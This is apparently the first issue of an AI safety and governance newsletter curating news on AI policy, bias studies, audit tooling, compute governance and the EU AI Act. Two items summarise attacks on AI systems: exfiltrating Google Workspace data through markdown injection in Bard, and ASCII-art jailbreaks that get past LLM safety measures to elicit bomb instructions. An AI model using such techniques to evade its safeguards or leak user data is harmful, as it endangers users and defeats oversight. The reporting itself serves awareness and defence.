Issue #1 of the AI Safety & Governance Newsletter
Welcome to the 1st issue of the Artificial Intelligence (AI) Safety & Governance Newsletter. AI is not a new technology, but it is increasingly becoming an important part of the way many people around the world live. This newsletter is a curation of content and news pertaining to how technologists, policymakers, and everyone in between are working towards ensuring the impacts of AI are beneficial.
Key reads
The African Union Development Agency has published (link) an AI Continental Roadmap for the continent with proposals for measures African countries should adopt for an “inclusive and sustainable AI-enabled socioeconomic transformation”. The strategic pillars focus on developing human capital, leveraging infrastructure and data, creating a supportive environment, establishing an economic climate, building partnerships, and enhancing monitoring and evaluation capacities to strengthen AI systems and strategies in African countries.
Can AI be an inventor? In the US, the answer seems to be No (link), but in Brazil, a newly introduced Bill (link) seeks to recognize AI as patent inventors.
Several biology-technology (Bio-tech) researchers from around the world are articulating values and principles to guide the responsible development of AI technologies in the field of protein design. They emphasize safety, security, equity, international collaboration, openness, responsibility, and societal benefit. The commitments focus on conducting beneficial research, preparing for health emergencies, adhering to biosecurity in DNA synthesis, improving DNA screening, continuously evaluating software risks, promoting scientific openness, and updating practices as needed to ensure AI developments are safe, secure, and beneficial for all. See: https://responsiblebiodesign.ai
In a recent analysis (link) on Bloomberg, AI models from OpenAI were found to exhibit clear signs of name-based discrimination: resumes with names distinct to Black-Americans were the least likely to be ranked as the top candidate for a financial analyst role, compared to resumes with names associated with other races and ethnicities.
Valentin Hofmann tweets “when LLMs are asked to pass judgment on defendants who committed murder, they choose the death penalty more often when the defendants speak African American English rather than Standardized American English … without being overtly told that they are African American” (link). This is one of several analyses done in a recent paper on dialect prejudice when AI is used to assess employability, criminality and character. Paper link.
In a recent study (link), researchers from Brown, CMU, Data & Society and Mozilla Foundation survey the landscape of AI audit tooling to understand the challenges to accountability and opportunities for tool development and research. AI audits are independent evaluations of performance, risks and safety of AI systems. Standards and regulations of AI systems around the world are largely still in early stages. The study on AI audit tools reveals a rich landscape but with notable gaps particularly in harm discovery, audit communication, and advocacy, emphasizing the need for tools that support comprehensive evaluation and genuine accountability. The authors call for a focus on legal clarity, community engagement, and interdisciplinary standards to enhance AI accountability.
A team of ethical hackers identified critical vulnerabilities in Google's AI and Cloud services, including unauthorized access to user images via an Insecure direct object reference (IDOR) in Bard's Vision feature, a DoS vulnerability through GraphQL directive overloading, a security issue with a hardcoded signature key, and the most significant finding: exfiltrating sensitive Google Workspace data via Bard (now Gemini) by injecting custom markdown. Security challenges in AI systems are constantly evolving as evidenced by these discoveries for which they were awarded significant bounties (link).
The US Department of Veterans Affairs is leveraging AI to improve veterans' healthcare by enhancing diagnostic accuracy, predicting cancer risks, and optimizing treatment paths. Through an initiative launched in 2017, they identified over 117,000 veterans at high suicide risk, leading to increased outpatient attendance, new safety plans, and reduced mental health admissions and suicide attempts. In addition, a tool called STORM assists in managing opioid risk through predictive models. Another FDA-authorized system, GI Genius, has been deployed in 106 facilities, enhancing the detection of precancerous polyps during colonoscopies. Listen to a recent oversight hearing (link).
ASCII art, a technique that uses characters from the ASCII set to create images, has been identified as a vulnerability in the security of large language models (LLMs) like GPT-3.5, GPT-4, Gemini, Claude, and Llama2 (link). Researchers have discovered that these state-of-the-art models are susceptible to "jailbreaks" through ASCII art, allowing individuals to circumvent safety protocols. This vulnerability enables the elicitation of undesired behaviors, such as producing instructions for making bombs if the prompts are cleverly disguised as ASCII art. This security loophole arises because current safety measures for LLMs primarily focus on interpreting the semantic content of text, overlooking the potential for ASCII art to convey complex and potentially harmful instructions beyond simple semantics.
Compute governance is an emerging tool for AI governance. Researchers from a cross-section of institutions in a recent paper (link), emphasize that computing power (compute) is crucial for AI progress, with a 350 million-fold increase in compute used for training leading AI systems over thirteen years. Compute governance involves regulating the access and usage of computing power to achieve policy goals, enhance safety, and manage the development and deployment of AI technologies. The paper proposes that compute governance can serve three main purposes: enhancing visibility into AI development and usage, allocating resources to foster desirable AI projects, and enforcing rules to ensure safe and lawful AI deployment. It also explores innovative enforcement mechanisms, including physical limitations on hardware and multiparty control protocols to mitigate risks associated with large-scale AI systems.
In a recent paper (link), researchers from multiple institutions including CMU, MIT and Stanford, advocate for legal and technical safe harbors to protect researchers conducting good-faith evaluations of proprietary AI models, highlighting the importance of independent assessments in identifying vulnerabilities and ensuring AI safety. They propose voluntary commitments from AI companies to facilitate public interest research without fear of legal repercussions or account termination to create an equitable, transparent, and accountable AI research ecosystem. In the same light, calls for broader access to these AI models i.e access to their Weights, Activations, or Gradients were made by another group of researchers (link).
Anna Makanju, VP of Global Affairs at OpenAI, on a recent World Economic Forum Podcast (link), advocates for a global regime that includes every country to address catastrophic risks of AI, suggesting a model similar to the International Atomic Energy Agency (IAEA) for AI governance.
The EU AI Act (link), potentially the first comprehensive legal framework for AI globally, aims to ensure that AI systems are trustworthy by mandating that they respect fundamental rights, safety, and ethical principles. It introduces a risk-based approach to regulation, categorizing AI applications into four levels of risk and applying corresponding requirements, ranging from transparency obligations for low-risk AI to strict controls and obligations for high-risk applications. The European Parliament is scheduled to vote on the AI Act on 13 March. This vote is one of the last steps before the law is enacted, but enforcement will not begin until 2025.
Amba Kak, a co-director of the AI Now Institute writes in Foreign Policy (link) that we need to critically examine whether large, and increasingly consolidated AI companies have interests that align with broader society. She writes “In an overwhelming focus on AI-driven harms, we’ve missed a key piece of the puzzle: demanding that firms articulate, clearly and with evidence to back it, what the benefits of AI are to the public … we haven’t asked enough of AI firms to show us their homework, instead permitting them to coast on shallow assertions that AI will inevitably lead us down the path of technological innovation.”
Opportunities
The DARPA AI Cyber Challenge (AIxCC) is a competition to develop AI-enabled systems for real-time identification and remediation of software vulnerabilities. Registration is currently open and there is a $4 million prize pool.
https://www.darpa.mil/news-events/2023-12-14
The data.org Privacy Enhancing Technologies (PETs) for Public Health Challenge is currently open. The challenge involves demonstrating how financial transaction data, while ensuring privacy, can be leveraged to inform and support epidemiological policy decisions and public health responses during pandemics.